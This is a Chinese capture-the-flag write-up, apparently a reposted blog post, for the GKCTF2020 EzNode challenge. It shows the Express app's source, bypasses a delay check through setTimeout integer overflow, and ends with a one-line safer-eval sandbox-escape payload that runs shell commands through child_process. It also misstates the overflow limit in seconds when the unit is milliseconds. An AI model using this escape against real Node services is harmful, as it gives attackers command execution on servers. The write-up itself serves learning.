[GKCTF2020]EZ三剑客-EzNode

前言

之前buu上刷到这题的时候,感觉是个node.js的题,因为不会node.js,就绕过没看了。今天在某平台做红包题遇到了基本上考点一样的题目,在学长的指引下又把这题给做了一下,总的来说还算比较友好,因为我不会node.js我也大致能看懂这题是啥意思。

WP

进入环境是个计算器,看一下源代码:

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({
    
     extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
    
    
  if (req.path === '/eval') {
    
    
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
    
    
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
    
    
      clearTimeout(t);
      console.log('timeout');
      try {
    
    
        res.send('Timeout!');
      } catch (e) {
    
    

      }
    }, 1000);
  } else {
    
    
    next();
  }
});

app.post('/eval', function (req, res) {
    
    
  let response = '';
  if (req.body.e) {
    
    
    try {
    
    
      response = saferEval(req.body.e);
    } catch (e) {
    
    
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
    
    
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
    
    
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
    
    
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
    
    
  console.log('Start listening')
});

虽然我不会前端,但我把他当PHP和python来看,还是勉强能领会一下意思的。
主要这里:

if (req.path === '/eval') {
    
    
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
    
    
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
    
    
      clearTimeout(t);
      console.log('timeout');
      try {
    
    
        res.send('Timeout!');
      } catch (e) {
    
    

      }
    }, 1000);
  } else {
    
    
    next();
  }

访问/eval的路由,会设置一个delay,和你传入的get参数的delay进行比较,取较大的那个,然后setTimeout是延时函数,delay秒后就会执行第一个参数,即next(),否则就会send出timeout。

浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647秒。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由

所以利用溢出就可以成功绕过timeout。
绕过之后就是这个:

let response = '';
  if (req.body.e) {
    
    
    try {
    
    
      response = saferEval(req.body.e);
    } catch (e) {
    
    
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));

post传入参数e,可以saferEval,安全的执行代码,这里想要成功执行需要进行逃逸。
题目也给出了saferEval的版本和这个:

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

直接去github上搜一下这个的洞:
在这里插入图片描述
直接利用即可:

setInterval.constructor('return process')().mainModule.require('child_process').execSync('cat /flag').toString();

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113823417